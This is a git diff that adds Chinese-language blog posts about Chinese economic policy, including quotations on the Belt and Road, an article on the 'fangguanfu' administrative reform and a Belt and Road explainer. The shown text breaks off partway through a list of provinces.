+从亚欧大陆到非洲、美洲、大洋洲，共建“一带一路”为世界经济增长开辟了新空间，为国际贸易和投资搭建了新平台，为完善全球经济治理拓展了新实践，为增进各国民生福祉作出了新贡献，成为共同的机遇之路、繁荣之路。 + +——2019年4月26日，在第二届“一带一路”国际合作高峰论坛开幕式上的主旨演讲 + +要找出阻碍各国经贸投资往来的难点和痛点，提出切实可行的解决建议，帮助政府更好了解行业和市场诉求、提高决策水平。 + +——2019年11月13日，在金砖国家工商论坛闭幕式上的讲话 + +要科学评估财政收支状况、集体经济实力和群众承受能力，合理确定投资规模、筹资渠道、负债水平，合理设定阶段性目标任务和工作重点，形成可持续发展的长效机制。 + +——2018年9月21日，在十九届中央政治局第八次集体学习时的讲话 + +稳预期 + +前进道路上，我们必须毫不动摇巩固和发展公有制经济，毫不动摇鼓励、支持、引导非公有制经济发展，充分发挥市场在资源配置中的决定性作用，更好发挥政府作用，激发各类市场主体活力。 + +——2018年12月18日，在庆祝改革开放40周年大会上的讲话 + +当前，中国经济稳中向好，国内生产总值增速连续多年保持在6%以上的合理区间。我们将在近期采取措施的基础上，进一步推出若干重大举措，加快形成对外开放新局面，努力实现高质量发展。 + +——2019年6月28日，在二十国集团领导人峰会上关于世界经济形势和贸易问题的讲话 + +我相信，中国经济发展前景一定会更加光明，也必然更加光明。 + +——2019年11月5日，在第二届中国国际进口博览会开幕式上的主旨演讲 + +# 参考 ++[以“六稳”推动经济高质量发展](http://www.qstheory.cn/zdwz/2019-12/09/c_1125324212.htm) \ No newline at end of file diff --git a/_posts/2020-04-08-497-fgf.md b/_posts/2020-04-08-497-fgf.md new file mode 100644 index 0000000..4986cad --- /dev/null +++ b/_posts/2020-04-08-497-fgf.md @@ -0,0 +1,100 @@ +--- +layout: post +title: 放管服 +pid: 496 +tags: [货代] +--- + +党的十八届三中全会通过的《关于全面深化改革若干重大问题的决定》明确提出了发挥市场在资源配置中的决定性作用和更好地发挥政府作用的重大论断。发挥市场在资源配置中的决定性作用和更好地发挥政府作用是相互联系、不可分割、相辅相成的。从政府角度看，更好地发挥政府作用是发挥市场决定性作用的重要保障。当前和今后，如何更好地发挥政府作用呢？本届政府主动适应和积极引领中国经济新常态，以简政放权为“先手棋”，以深化行政审批制度改革为“突破口”，持续发力推进简政放权、放管结合、优化服务，协调推进放管服结合，有效地激发了市场活力和社会创造力，在当前经济下行压力较大的形势下，为稳增长、调结构，促就业、惠民生提供了重要保证。 + +一、新一届政府推进放管服协调发展的改革轨迹 + +2013年，新一届政府成立之初，从政府自身改起，把加快转变职能、简政放权作为本届政府开门第一件大事。主要内容包括： + +（一）放：以深化行政审批制度改革为重点推进简政放权 + +一是减少投资项目审批，最大限度地缩小审批、核准、备案范围，切实落实企业和个人投资自主权。最大限度地减少对生产经营活动和产品物品的许可，最大限度地减少对各类机构及其活动的认定等非许可审批。各地积极推进政府职能转变和机构改革，大幅减少行政审批事项。如浙江等地推进地方政府行政审批制度改革，率先推出政府权力清单制度，取得了积极效果。 + +二是减少资质资格许可，对不符合《行政许可法》规定的，一律予以取消；按规定需要对企业事业单位和个人进行水平评价的，改由有关行业协会、学会具体认定。2014年，全年取消职业资格许可和认定事项149项。 + +三是减少评比达标表彰项目，减轻企业负担。新一届政府在取消和下放行政审批事项的同时，也注重减少评比达标表彰项目。2014年，全年取消评比达标表彰项目29项。减轻了企业、事业单位的负担，有利于激发市场和社会活力。 + +四是减少行政事业性收费，为市场和社会松绑。主要是取消不合法不合理的行政事业性收费和政府性基金项目、降低收费标准、建立健全政府非税收入管理制度。2013年取消和免征行政事业性收费348项，减轻企业负担1500多亿元。 + +五是改革工商登记制度，降低市场和社会创业门槛。主要将“先证后照”改为“先照后证”，并将注册资本实缴登记制改为认缴登记制，将企业年检制度改为年度报告制度，放宽工商登记其他条件。 + +（二）管：切实加强事中事后监管 + +2013年5月国务院机构职能转变动员电视电话会议明确要求，在简政放权的同时，要切实加强市场监管，该管的事必须管住管好。简政放权绝不是一放了之，在放权的同时必须加强市场监管。在目前我国市场经济秩序还很不规范的形势下，加强市场监管对于维护正常的市场秩序和公平的市场环境，促进经济健康发展尤为重要，必须真正解决好监管“短板”问题：一是从思想认识和监管理念上真正解决好“会批不会管”、“对审批很留恋”、“对监管很迷茫”等问题。二是创新监管方式，借鉴国外市场监管的经验做法，通过加大随机抽查、智能监管来提高监管效率。三是切实加强政府特别是地方政府的监管能力建设，从基础设施、技术设备、技术人员等方面提升政府监管能力。2015年5月12日，国务院推进简政放权放管结合职能转变工作电视电话会议对加强市场监管也作出了进一步的部署。 + +（三）服：优化政府服务 + +2013年5月国务院机构职能转变动员电视电话会议提出的“管”，既包括加强市场监管，也包括创新公共服务方式。国务院推进简政放权放管结合职能转变工作电视电话会议，把“服”单独提出来，强调简政放权、放管结合、优化服务三管齐下，最终形成了“放管服”结合的系统改革方案。优化政府服务成为加快转变政府职能的重要内容。总体上看，现在我们的产品供应是充足甚至有些方面是过剩的，而服务则存在短缺问题，质量也需要提高。一是增加服务供给，满足社会需求，加快织就织好一张覆盖全民的社会保障“安全网”，特别是要“补短板”、“兜底线”，为人民基本生活提供保障。二是在非基本的公共服务领域，要更多更好发挥市场和社会的作用。利用市场机制，创新供给方式，更多地利用社会力量，加大购买基本公共服务的力度。三是为大众创业、万众创新提供全方位服务，通过加强政策支持、平台综合服务等提供高效便捷的服务。 + +二、放管服协调发展有效激发了市场活力和全社会创造力 + +两年来，以取消和下放行政审批等事项为核心的简政放权改革取得了积极效果，有效地激发了市场和企业活力，释放了社会创造力，增强了经济发展动力。 + +第一，简政放权等改革增强了市场和企业信心。两年来，简政放权的力度前所未有，提前三年超额完成了新一届政府成立时的行政审批事项“减少三分之一”的庄严承诺。各级地方政府不仅基本完成了中央政府的“规定动作”，而且积极探索本地的“自选动作”，减少和取消本级政府的行政审批等事项。这些全国上下联动的改革措施，有利于全社会形成良好的改革预期，增强了市场和企业对我国全面深化改革和经济社会可持续发展的信心。 + +第二，简政放权等改革有效地激发了企业和市场活力。简政放权等改革在一定程度上克服了政府向市场“乱伸手”以及权力部门化、部门利益化、利益行政化等“顽疾”，有利于发挥市场在资源配置中的决定性作用和更好地发挥政府作用，为市场松了绑，为企业添了力，给市场注入新的活力和发展动力。2013年，分批取消和下放了416项行政审批等事项，全国新注册企业增长27.6%，民间投资比重上升到63%。 + +第三，简政放权等改革明显释放了社会创造力，有利于形成大众创业、万众创新的局面。简政放权等改革不仅有效地激发了企业和市场活力，而且也有效地释放了全社会的创造力。有关问卷调查显示，2013年以来，大学生创业的企业中，约有85%在第三产业，75%位于地级市以下地区。创业创新在很大程度上促进了就业，2014年，全国城镇新增1322万个就业岗位。 + +第四，简政放权等改革提高了政府的市场监管能力。简政放权注重“放管结合”，出台了《国务院关于促进市场公平竞争维护市场正常秩序的若干意见》、《企业信息公开条例》等文件，加大了市场监管的力度。同时，创新市场监管方式方法，根据企业注册号随机摇号抽查，促进了市场诚信建设。 + +第五，简政放权等改革促进了廉洁政府建设。简政放权等改革减少了政府对微观经济领域的干预，减少了政府设租寻租的机会与土壤。特别是在地方政府层面，通过行政审批制度改革，政府和人民群众的距离拉近了，政府的公信力提高了。相关调查问卷分析表明，90%以上的受访企业认为，行政审批锥度改革有益于推动政府职能转变。 + +三、当前和今后推进放管服协调发展的重点任务 + +尽管取得了上述成效，但是简政放权等改革目前仍然面临许多问题与难题。如行政审批事项仍然过多、减少的行政审批项目含金量不高、行政审批自由裁量权过大、监管“短板”还未补齐、中介组织管理失范，等等。这些都是进一步推进放管服结合必须解决好的重要问题。2015年，《政府工作报告》进一步对简政放权等改革作了明确部署。国务院成立了简政放权放管结合转变职能协调小组，专门下发了《2015年推进简政放权放管结合转变政府职能工作方案》以下简称《工作方案》。总的看来，当前和今后协调推进放管服结合、更好地发挥政府作用的重点任务主要包括以下方面。 + +（一）进一步减少行政审批事项 + +首先，进一步取消下放行政审批事项。有关调查显示，71.4%的受访企业期望下一步简政放权等改革的重点，应该是“取消和减少行政审批”。《工作方案》对深入推进行政审批改革和投资审批改革提出了具体措施和目标，应该抓紧落实，尽早完成，让简政放权改革不停滞，让人民群众期望不落空。 + +其次，进一步提高政策的针对性和精准度。有关调查显示，不同行业企业对同一改革措施的满意度往往存在较大差异。比如，住宿和餐饮业企业对“取消下放行政审批事项改革”的评价，不满意率为9.2%，大大高于所有行业的平均值5.9%。批发和零售业对“清理收费改革”的不满意率最高，为15.6%，而其他行业中不满意率最低的为5.0%。这说明，不同的市场主体对改革的诉求不尽相同，这需要相关部门针对不同行业、不同领域的问题重点把握，实行“定向爆破”和“定点清除”，提高政策的针对性和科学性。 + +再次，进一步统筹协调推进改革。改革推进不同步、不协调，影响了简政放权的成效。主要表现为你放我不放、你改我不改。比如，实行“先照后证”改革后，各种“证”仍然过多。如果没有其他部门的减证，新出生的企业也难以成活等。再如，一些投资项目审批事项取消或下放了，但是相关的预审、规划、选址、节能审批等都没有取消或下放，影响了改革的效果。今后，需要做到同一事项所涉及的部门要同步放开，部门之间要协调衔接、信息共享、配套推进，提升改革成效。 + +（二）进一步规范审批流程和压缩审批时限 + +有关调查问显示，企业最关注行政审批改革的规范审批流程和压缩审批时限，分别占受访企业的71.6%和70.1%。这说明，规范审批流程和压缩审批时限是今后行政审批改革的重中之重。当前，审批服务中的各种“要件”、程序、环节等仍然过多、关卡林立，企业和老百姓办事仍然遇到一些不必要的障碍。比如，在中国装备“走出去”的过程中，同样需要政府简政放权、简化手续。投资额3亿美元以上的境外竞标项目，在开展实质性工作之前需要向相关部门报送项目信息报告，而相关部门确认的时限是7个工作日。对需要审批的项目，相关部门还要委托咨询机构做评估报告，最多需要40个工作日。这对于企业掌握谈判主动权很不利。除了项目审批和备案程序，对国企而言，员工出国也比较麻烦。国企员工因公出国办理护照时间长，还必须有国外邀请函，可是有的国家必须有护照号才能发出邀请函。而企业管理者出国更麻烦，护照都收在集团总部，内部就要几道审批才能取到护照，很影响工作效率。还有企业反映，中国装备“走出去”过程中，多头管理的情况仍然存在。尽管各个部门都在简政放权、提高效率，但由于管理部门有好几个，一圈跑下来，还是要花不少时间。 + +再如，由于审批手续、土地、资金，以及拆迁多重因素影响，部分重大投资项目进展缓慢。近期陕西发改委调查中央投资项目情况发现，很多项目进展慢，比如截至2015年4月底，抽查2014年中央投资项目113个，34个项目未开工，开工率为69%， 西安市开工率仅为42.9%、渭南市仅为50%。甚至2013年及以前年度未开工的410个项目中，迄今仍有174个未开工，其中有36个项目是2012年及以前年度安排的项目。 + +在这方面，应总结推广一些地方的经验，注重运用互联网平台，实行网上审批，推行多证合一和一证多用等，简化申报手续，缩短审批时限，再砍掉一批审批过程中的繁文缛节，简化审批服务中的各种“要件”、程序、环节等，切实方便企业和群众办事。中央政府已经明确，2015年9月底前国务院部门要简化行政审批流程，压缩前置审批环节并公开时限，推行并联审批和网上审批，着力解决环节多、时间长、随意性大等问题。地方政府应据此尽快明确时间节点，推动相关工作。一些地方在如何规范审批流程和压缩审批时限积极创新，作出了一些有意的探索，经验值得借鉴和推广。比如，青岛市积极改革项目管理流程，率先实行社会投资类项目“施工弹性许可制度”，便利项目投资落地。该制度属国内首创。“施工弹性许可制度”是指项目施工许可手续既可按原规定程序申请办理，也可在具备一定条件后，提前办理施工许可证，实行“先证后图后费”。该制度具有3大突出优势：一是可最大限度压缩企业开工手续办理时间。二是提前发放项目施工许可证，实行建筑企业养老保障金、新型墙体专项基金、散装水泥基金3项费用全部缓缴，减轻企业资金压力。三是可缩短项目建设工期8个月左右，促进了项目早开工、早建设、早落地。 + +（三）进一步优化政府服务 + +优化服务是当前和今后较快转变职能的重要内容。有关调查显示，企业对政府优化服务的评价最高，期望也最高，75.8%的受访企业期望政府提供更好的服务、营造更好的环境，排在第一位。 + +第一，为大众创业、万众创新提供全方位服务。一是尽快出台一批扶持创业创新特别是小微企业的政策措施。发挥财政资金杠杆作用，采取贴息、补助、创投基金等方式，撬动社会投入。二是提供平台综合服务。强化政策、法律和信息咨询服务，做好对大学生的就业创业指导服务和农民工的职业技能培训。三是提供便捷高效服务。为社会和市场提供更加人性化、更富人情味的服务，态度要好、手续要少、速度要快。进一步办好政务服务中心和办事大厅，规范流程、明确标准、缩短时间。 + +第二，为人民群众提供公平、可及的公共服务。进一步利用社会力量提供服务，凡是企业和社会组织有积极性、适合承担的，都要通过委托、承包、采购等方式交给他们承担。进一步创新服务方式，最大程度地便民利民，尽可能让群众不出门，通过网上办理、代办服务、上门服务等方式来完成。对要求群众必须出具的各种“证明”，尽可能通过部门之间信息共享和业务协同来核查解决。 + +第三，履行好政府保基本的兜底责任。当前，要更加关注困难群体的就业、社保、教育、医疗、养老等问题，加快城市棚户区和农村危旧房改造。 + +第四，借助信息化手段，提供有效管用的信息数据，为“双创”营造良好环境。有关调查显示，45.5%的受访企业认为，政府为“双创”提供全方位服务的重点应该是搭建市场服务公共平台。还有35.1%的被调查企业希望提供有效管用的信息数据。基层官员也认为，政府应该借助互联网技术等，加大基层服务平台整合力度，打破数据信息壁垒，形成信息“合力”，营造审批事项少、行政效率高、行政成本低、行政过程公正透明的政务环境，提升政府服务能力。 + +第五，进一步提升基层政府服务能力。要建立事权、人权、财权对等的保障机制，让地方政府有动力、有能力、有责任去承接好、监管好审批事项。县、乡（镇）政府是“服务群众最后一公里”的关键，要注重提高基层公务员的能力。有些审批事项，专业性比较强，基层公务员缺少相应的能力和素质，存在“接不住、接不好”的现象，下放审批事项时，要对接权的基层政府工作人员进行必要的履职培训，配备必要的监测设备、仪器。 + +（四）进一步加强事中事后监管 + +有关调查显示，66.6%的受访企业认为，下一步简政放权等改革需要加强事中事后监管，排在第三重要的位置。 + +第一，进一步转变监管理念。针对重审批轻监管、对审批很留恋对监管很迷茫、不懂监管不愿监管的问题，要提高对加强市场监管重要性的认识，加强对市场监管理论的学习，积极主动地创新市场监管理念，主动适应经济发展对市场监管的需求。。 + +第二，进一步创新监管机制和监管方式。一是推进综合监管和执法。抓紧建立统一的监管平台，把部门间关联的监管事项都放到平台上来，同时清理整合各类行政执法队伍，推进跨部门、跨行业综合执法，形成监管和执法合力。二是创新日常监管。推广随机抽查监管，按一定比例对企业进行抽检，随机确定检查人员，减少监管部门寻租机会。三是积极推进“智能”监管。积极运用大数据、云计算、物联网等信息化手段，探索实行“互联网+监管”模式。加快部门之间、上下之间信息资源的开放共享、互联互通，打破“信息孤岛”。推进统一的社会信用体系建设，建立信息披露和诚信档案制度、失信联合惩戒机制和黑名单制度，让失信者一处违规、处处受限。四是强化社会监督。畅通投诉举报渠道，对举报者要给予有足够吸引力的奖励并严格保密。强化企业首负责任，通过倒逼形成层层追溯、相互监督机制。加强行业自律，鼓励同行监督。充分发挥媒体舆论监督作用。无数双眼睛盯着每一个角落，就能织就监督的“恢恢天网”。 + +第三，加强地方政府特别是基层政府监管能力。随着简政放权等改革的不断推向深入，必须要重视地方政府特别是基层政府的监管能力，解决好基层政府接不住、管不好的问题。要适当调整有关机构监管职能，充实监管人员，增加技术设备，强化监管培训，健全市场监管目标责任制，切实提升地方政府特别是基层政府的监管能力。 + +第四，加强有关理论研究。加强市场监管，对于政府来说是个新问题，对于理论研究来说也是一个新课题。健全市场监管需要科学的理论指导，但是，从目前的理论研究来看，国内对市场监管理论的研究还比较薄弱，还不能满足市场监管实践的要求。对此，必须加强这方面的理论研究，为搞好市场监管提供智力支撑。 + +[作者简介] 马宝成，国家行政学院研究员、博士生导师。 + + +# 参考 + ++[推进放管服协调发展 更好发挥政府作用](http://www.cssn.cn/zzx/201511/t20151102_2554031.shtml?COLLCC=3550268891&) ++[放管服](https://wiki.mbalib.com/wiki/%E6%94%BE%E7%AE%A1%E6%9C%8D) diff --git a/_posts/2020-04-08-498-OneBeltOneRoad.md b/_posts/2020-04-08-498-OneBeltOneRoad.md new file mode 100644 index 0000000..56f2535 --- /dev/null +++ b/_posts/2020-04-08-498-OneBeltOneRoad.md @@ -0,0 +1,184 @@ +--- +layout: post +title: 一带一路倡议(One Belt and One Road) +pid: 498 +tags: [货代] +--- + +# 什么是一带一路倡议 + + +一带一路倡议是指“丝绸之路经济带”和“21世纪海上丝绸之路”的简称（ "One Belt and One Road" refers to the "Silk Road Economic Belt" and the "21st Century Maritime Silk Road" ）。它不是一个实体和机制，而是合作发展的理念和倡议，将充分依靠中国与有关国家既有的双多边机制，借助既有的、行之有效的区域合作平台。“一带一路倡议”贯穿欧亚大陆，东边连接亚太经济圈，西边进入欧洲经济圈。无论是发展经济、改善民生，还是应对危机、加快调整，许多沿线国家同我国有着共同利益。历史上，陆上丝绸之路和海上丝绸之路就是我国同中亚、东南亚、南亚、西亚、东非、欧洲经贸和文化交流的大通道，“一带一路倡议”是对古丝绸之路的传承和提升，获得了广泛认同。 + +它将充分依靠中国与有关国家既有的双多边机制，借助既有的、行之有效的区域合作平台。“一带一路倡议”的建设不仅不会与上海合作组织、欧亚经济联盟、中国—东盟（10+1）等既有合作机制产生重叠或竞争，还会为这些机制注入新的内涵和活力。 + +“一带一路倡议”打破原有点状、块状的区域发展模式。无论是早期的经济特区、还是去年成立的自贸区，都是以单一区域为发展突破口。“一带一路倡议”彻底改变之前点状、块状的发展格局，横向看，贯穿中国东部、中部和西部，纵向看，连接主要沿海港口城市，并且不断向中亚、东盟延伸。这将改变中国区域发展版图，更多强调省区之间的互联互通，产业承接与转移，有利于我国加快我国经济转型升级。 + + +# 一带一路倡议的思路 + +构思提出 + +2013年9月和10月，中国国家主席习近平在出访中亚和东南亚国家期间，先后提出共建“丝绸之路经济带”和“21世纪海上丝绸之路”的重大倡议，得到国际社会高度关注。 + + +框架思路 + +“一带一路倡议”是促进共同发展、实现共同繁荣的合作共赢之路，是增进理解信任、加强全方位交流的和平友谊之路。中国政府倡议，秉持和平合作、开放包容、互学互鉴、互利共赢的理念，全方位推进务实合作，打造政治互信、经济融合、文化包容的利益共同体、命运共同体和责任共同体。 + +“一带一路倡议”贯穿亚欧非大陆，一头是活跃的东亚经济圈，一头是发达的欧洲经济圈，中间广大腹地国家经济发展潜力巨大。丝绸之路经济带重点畅通中国经中亚、俄罗斯至欧洲（波罗的海）；中国经中亚、西亚至波斯湾、地中海；中国至东南亚、南亚、印度洋。21世纪海上丝绸之路重点方向是从中国沿海港口过南海到印度洋，延伸至欧洲；从中国沿海港口过南海到南太平洋。 + +根据“一带一路倡议”走向，陆上依托国际大通道，以沿线中心城市为支撑，以重点经贸产业园区为合作平台，共同打造新亚欧大陆桥、中蒙俄、中国－中亚－西亚、中国－中南半岛等国际经济合作走廊；海上以重点港口为节点，共同建设通畅安全高效的运输大通道。中巴、孟中印缅两个经济走廊与推进“一带一路倡议”建设关联紧密，要进一步推动合作，取得更大进展。 + +“一带一路倡议”建设是沿线各国开放合作的宏大经济愿景，需各国携手努力，朝着互利互惠、共同安全的目标相向而行。努力实现区域基础设施更加完善，安全高效的陆海空通道网络基本形成，互联互通达到新水平；投资贸易便利化水平进一步提升，高标准自由贸易区网络基本形成，经济联系更加紧密，政治互信更加深入；人文交流更加广泛深入，不同文明互鉴共荣，各国人民相知相交、和平友好。 + +# 一带一路倡议的理念提出背景 + +时代背景 + +当今世界正发生复杂深刻的变化，国际金融危机深层次影响继续显现，世界经济缓慢复苏、发展分化，国际投资贸易格局和多边投资贸易规则酝酿深刻调整，各国面临的发展问题依然严峻。共建“一带一路倡议”顺应世界多极化、经济全球化、文化多样化、社会信息化的潮流，秉持开放的区域合作精神，致力于维护全球自由贸易体系和开放型世界经济。共建“一带一路倡议”旨在促进经济要素有序自由流动、资源高效配置和市场深度融合，推动沿线各国实现经济政策协调，开展更大范围、更高水平、更深层次的区域合作，共同打造开放、包容、均衡、普惠的区域经济合作架构。共建“一带一路倡议”符合国际社会的根本利益，彰显人类社会共同理想和美好追求，是国际合作以及全球治理新模式的积极探索，将为世界和平发展增添新的正能量。 + +共建“一带一路倡议”致力于亚欧非大陆及附近海洋的互联互通，建立和加强沿线各国互联互通伙伴关系，构建全方位、多层次、复合型的互联互通网络，实现沿线各国多元、自主、平衡、可持续的发展。“一带一路倡议”的互联互通项目将推动沿线各国发展战略的对接与耦合，发掘区域内市场的潜力，促进投资和消费，创造需求和就业，增进沿线各国人民的人文交流与文明互鉴，让各国人民相逢相知、互信互敬，共享和谐、安宁、富裕的生活。 + +当前，中国经济和世界经济高度关联。中国将一以贯之地坚持对外开放的基本国策，构建全方位开放新格局，深度融入世界经济体系。推进“一带一路倡议”建设既是中国扩大和深化对外开放的需要，也是加强和亚欧非及世界各国互利合作的需要，中国愿意在力所能及的范围内承担更多责任义务，为人类和平发展作出更大的贡献。 + +国际背景 + +在世界经济复苏乏力，发达经济体货币政策走向分化的背景下。很多国家的经济可能面临困境，亟需新的经济增长点，亟需新的经济火车头来带动世界经济。中国借此机会，将有利于几乎所有国家的中国战略、政策融入到“一带一路倡议”和APEC当中，实现共赢。 + +中国为推动区域经济一体化作出了很多战略规划，包括：21世纪海上丝绸之路战略、丝绸之路经济带战略、中印缅孟经济走廊战略、中巴经济走廊战略、东北亚经济整合战略等。这些战略中，每个都是以区域经济一体化为核心的，每个都是以中国的国家战略为基础的，每个都是符合亚太乃至亚欧几乎所有成员国的战略利益。 + +以APEC为例，随着中国经济的发展，美国在APEC的话语权被削弱了，因此美国一直在推动要把中国规避在外的TPP。希望通过TPP的建设，在经济上孤立中国，用TPP替代APEC。而2014年北京APEC会议，中国力推亚太自贸区和“一带一路倡议”，就是要强化APEC的作用。因为APEC才更代表亚太利益，代表整个亚太的利益也就是代表中国的利益，中国的发展趋势和亚太深化合作是一致的。中国强化APEC同时能起到对冲美国TPP战略计划的作用。一旦欧亚大陆完成了经济整合，美国在亚太的力量必然被挤出，美国必然失去全球霸权。这也是全球性一个战略博弈。 + +因此，上述这些战略，最终都可以统合到更广大的战略——欧亚大陆经济整合的大战略当中。如今，欧亚大陆经济整合的大战略由中国提出了两个符合大方向的战略：丝绸之路经济带战略和21世纪丝绸之路经济带战略，即“一带一路倡议”。中国所有区域经济战略，都可以融入到上述两个战略当中。 + +基于中国的国家战略，基于当前世界发展大势，中国制定了“一路一带”战略。虽然“一路一带”提出时间只有一年多，但显然已经获得包括亚太国家、中亚和欧洲国家的认可，中国这一战略很显然要和APEC这个平台对接，中国要努力推动融合欧亚大陆甚至欧亚非大陆的经济整合，走互惠互利的发展共赢之路。 + +丝绸之路经济带战略涵盖东南亚经济整合、涵盖东北亚经济整合，并最终融合在一起通向欧洲，形成欧亚大陆经济整合的大趋势。而21世纪丝绸之路经济带战略则是从海上联通欧亚非三个大陆，最终可以和丝绸之路经济带战略形成一个海上、陆地的闭环。 + +推动区域经济一体化乃至欧亚大陆经济融合，这就是中国包容性发展战略，实现合作共赢是战略的中心思想，这也是中国最高国家战略的包容性体现。 + +国内背景 + +“一带一路倡议”作为一项重要的中长期国家发展战略，其要解决中国过剩产能的市场、资源的获取、战略纵深的开拓和国家安全的强化及贸易主导这几个重要的战略问题。 + +1、中国的过剩产能的市场问题 + +过剩产能对经济的运行造成了很大的问题，中国传统的出口国较为单一和狭窄，美欧日占据出口的核心国位置，但这些传统的出口市场已经开拓得较为充分，增量空间已经不大，国内的过剩产能很难通过他们进行消化，在国内消费加速启动难以推进的情况下，通过“一带一路倡议”来开辟新的出口市场是很好的抓手。中国不仅有过剩产能还有过剩外汇资产；而新兴市场国家和欠发达国家的基础设施建设仍然欠缺，中国利用积累的外汇储备作为拉动全球增长的资本金，同时通过资本输出带动消化过剩产能。 + +2、中国的资源获取问题 + +中国的油气资源、矿产资源对国外的依存度较高，这些资源主要通过沿海海路进入中国，渠道较为单一。中国与其他重要资源国的合作还不深入，经贸合作也未广泛有效的展开，使得资源方面的合作不稳定和牢固。“一带一路倡议”新增了大量有效的陆路资源进入通道，对于资源获取的多样化十分重要。 + +3、中国的战略纵深开拓和国家安全的强化问题 + +我国的资源进入主要现还主要是通过沿海海路，而沿海直接暴露于外部威胁，在战时极为脆弱。我国的工业和基础设施也集中于沿海，如果遇到外部的打击，整个中国会瞬时失去核心设施。在战略纵深更高的中部和西部地区，特别是西部地区，地广人稀工业少，还有很大的工业和基础设施发展潜力，在战时受到的威胁也少，通过“一带一路倡议”加大对西部的开发，将有利于战略纵深的开拓和国家安全的强化。 + +4、区域经济的贸易主导权 + +一带一路倡议战略对中国而言，不仅能对冲掉美国主导的试图绕开孤立中国而推进TPP(跨太平洋伙伴关系协议)、TTIP(跨大西洋贸易伙伴谈判)，还能有机会在一带一路倡议经贸中抢占全球贸易新规则制定权。如21世纪海上丝绸之路将以国内外的港口为支点建设，推动各种规格的自贸协定谈判，在国内，特别是一旦上海自贸区试验成功后，就可以以上海（含宁波舟山）和泉州湄洲湾港的超级深水港为依托建设国际中转港，真正带动建设国际经济、金融、贸易、航运中心，掌控国际贸易主导权，定价权和资源配置权。中国主动加速主导区域经济整合，提升自己的区域经济影响能力。 + +5、通路是“一带”的抓手 + +“一带一路倡议”直击了中国的三个重要的战略问题，而通路、通航和通商则是“一带一路倡议”解决战略问题的发力点。 + +要解决中国的产能过剩，需要通盘考虑，如前所述，“一带一路倡议”是系统性解决此问题的最好抓手，从现实来说，考虑到西部基础设施薄弱，为了更好的外联内呼，打通顺畅的交通动脉是第一位的，也符合“一带一路倡议”的题义，即首先着手的必将是通路、通航。“一带”主要是从通路着手，通路所推进的地区基础设施薄弱，提升空间更大，其对接的是西部广阔的腹地，将在交通设施建设和油气管道建设上发力。 + +# 一带一路倡议的合作机制 + +当前，世界经济融合加速发展，区域合作方兴未艾。积极利用现有双多边合作机制，推动“一带一路倡议”建设，促进区域合作蓬勃发展。 + +加强双边合作，开展多层次、多渠道沟通磋商，推动双边关系全面发展。推动签署合作备忘录或合作规划，建设一批双边合作示范。建立完善双边联合工作机制，研究推进“一带一路倡议”建设的实施方案、行动路线图。充分发挥现有联委会、混委会、协委会、指导委员会、管理委员会等双边机制作用，协调推动合作项目实施。 + +强化多边合作机制作用，发挥上海合作组织（SCO）、中国－东盟“10+1”、亚太经合组织（APEC）、亚欧会议（ASEM）、亚洲合作对话（ACD）、亚信会议（CICA）、中阿合作论坛、中国－海合会战略对话、大湄公河次区域（GMS）经济合作、中亚区域经济合作（CAREC）等现有多边合作机制作用，相关国家加强沟通，让更多国家和地区参与“一带一路倡议”建设。 + +继续发挥沿线各国区域、次区域相关国际论坛、展会以及博鳌亚洲论坛、中国－东盟博览会、中国－亚欧博览会、欧亚经济论坛、中国国际投资贸易洽谈会，以及中国－南亚博览会、中国－阿拉伯博览会、中国西部国际博览会、中国－俄罗斯博览会、前海合作论坛等平台的建设性作用。支持沿线国家地方、民间挖掘“一带一路倡议”历史文化遗产，联合举办专项投资、贸易、文化交流活动，办好丝绸之路（敦煌）国际文化博览会、丝绸之路国际电影节和图书展。倡议建立“一带一路倡议”国际高峰论坛。 + +# 一带一路倡议的合作方向 + +丝绸之路经济带：重点畅通中国经中亚、俄罗斯至欧洲(波罗的海)；中国经中亚、西亚至波斯湾、地中海；中国至东南亚、南亚、印度洋。 + +21世纪海上丝绸之路：重点方向是从中国沿海港口过南海到印度洋，延伸至欧洲；从中国沿海港口过南海到南太平洋。 + +# 一带一路倡议65国 + +“一带一路倡议”涵盖65个核心国家，覆盖面积约5539km2，约占全球总面积的41.3%；惠及46.7亿人口，约占全球总人口的66.9%；区域经济总量达27.4万亿美元，占据全球经济总量的38.2%。“一带一路倡议”区域经济发展存在两段高中间地的空间格局，东亚、欧洲经济发展势头较好，而中亚、中东地区经济增长相对缓慢；产业分工协作不合理，但是彼此间具有与较强的互补性。“一带一路倡议”涉及的65国中发展中国家居多，基础设施建设水平普遍较差，提升空间巨大。很多国家缺水、缺电、缺道路，他们之间交往不够顺畅，发展差距很大。例如：2013年卡塔尔人均GDP达9.4万美元而阿富汗人均GDP仅为665美元。 + +新亚欧大陆桥经济走廊： + +阿尔巴尼亚 阿塞拜疆 爱沙尼亚 白俄罗斯 保加利亚 波黑 波兰 格鲁吉亚 哈萨克斯坦 黑山 捷克克罗地亚拉脱维亚立陶宛罗马尼亚马其顿摩尔多瓦塞尔维亚斯洛伐克斯洛文尼亚乌克兰匈牙利亚美尼亚中国 + +中伊土经济走廊： + +阿富汗 阿联酋 阿曼 埃及 巴勒斯坦 巴林 吉尔吉斯斯坦 卡塔尔 科威特 黎巴嫩 沙特阿拉伯 塔吉克斯坦土耳其土库曼斯坦乌兹别克斯坦叙利亚也门伊拉克伊朗以色列约旦 + +中新经济走廊： + +东帝汶 菲律宾 柬埔寨 老挝 马来西亚 泰国 文莱 新加坡 印尼越南 + +孟中印缅经济走廊： + +不丹 马尔代夫 孟加拉国 缅甸 尼泊尔 斯里兰卡 印度 + +中巴经济走廊： + +巴基斯坦 + +中蒙俄经济走廊： + +俄罗斯 蒙古 + +# 一带一路倡议18省份名单及功能定位 + +**西北、东北地区** + +新疆：打造丝绸之路经济带核心区。 + +陕西：打造西安内陆型改革开放新高地。 + +宁夏：推进宁夏内陆开放型经济试验区建设。 + +甘肃、青海：加快兰州、西宁开发开放。 + +内蒙古：发挥联通俄蒙的区位优势。 + +黑龙江：完善对俄铁路通道和区域铁路网。 + +黑龙江、吉林、辽宁：完善与俄远东地区陆海联运合作，推进构建北京-莫斯科欧亚高速运输走廊，建设向北开放的重要窗口。 + +**西南地区** + +广西：加快北部湾经济区和珠江-西江经济带开放发展，构建面向东盟区域的国际通道，打造西南、中南地区开放发展新的战略支点。 + +云南：推进与周边国家的国际运输通道建设，打造大湄公河次区域经济合作新高地，建设成为面向南亚、东南亚的辐射中心。 + +西藏：推进与尼泊尔等国家边境贸易和旅游文化合作。 + +**内陆地区** + +重庆：打造重庆西部开发开放重要支撑。 + 